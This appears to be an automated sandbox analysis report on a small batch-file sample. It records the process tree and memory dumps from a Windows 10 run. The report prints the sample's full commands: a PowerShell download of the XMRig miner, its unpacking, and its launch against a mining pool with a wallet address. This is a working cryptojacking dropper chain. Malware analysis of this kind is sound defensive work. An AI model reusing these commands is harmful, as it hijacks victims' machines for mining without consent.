Analysis
- max time kernel
1792s - max time network
1793s - platform
windows10-1703_x64 - resource
win10-20231220-en - resource tags
- submitted
01/01/2024, 03:11
General
- Target tesy.bat
- Size 608B
- Sample240101-dppkasdcf5
- SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 46 IoCs
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
memory/1452-4-0x000001771C300000-0x000001771C322000-memory.dmp
memory/1452-6-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp
memory/1452-8-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-10-0x000001771C4B0000-0x000001771C526000-memory.dmp
memory/1452-9-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-25-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-26-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp
memory/1452-27-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-28-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-29-0x000001771C2F0000-0x000001771C300000-memory.dmp
memory/1452-34-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp
memory/3256-147-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-153-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-122-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-188-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-187-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-186-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-185-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-123-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-124-0x0000026E11EA0000-0x0000026E11EC0000-memory.dmp
memory/3256-125-0x0000026E120D0000-0x0000026E120F0000-memory.dmp
memory/3256-126-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-127-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-128-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-130-0x0000026E120D0000-0x0000026E120F0000-memory.dmp
memory/3256-129-0x0000026E11EA0000-0x0000026E11EC0000-memory.dmp
memory/3256-131-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-132-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-133-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-134-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-135-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-136-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-137-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-138-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-139-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-140-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-141-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-142-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-143-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-144-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-145-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-146-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-120-0x0000026E01690000-0x0000026E016B0000-memory.dmp
memory/3256-148-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-149-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-150-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-151-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-152-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-121-0x0000026E11A50000-0x0000026E11A70000-memory.dmp
memory/3256-154-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-155-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-156-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-157-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-158-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-159-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-160-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-161-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-162-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-163-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-164-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-165-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-166-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-167-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-168-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-169-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-170-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-171-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-172-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-173-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-174-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-175-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-176-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-177-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-178-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-179-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-180-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-181-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-182-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-183-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3256-184-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp
memory/3460-66-0x0000027940840000-0x0000027940850000-memory.dmp
memory/3460-38-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp
memory/3460-41-0x0000027940840000-0x0000027940850000-memory.dmp
memory/3460-42-0x0000027940840000-0x0000027940850000-memory.dmp
memory/3460-93-0x0000027940870000-0x000002794087A000-memory.dmp
memory/3460-80-0x0000027940A10000-0x0000027940A22000-memory.dmp
memory/3460-117-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp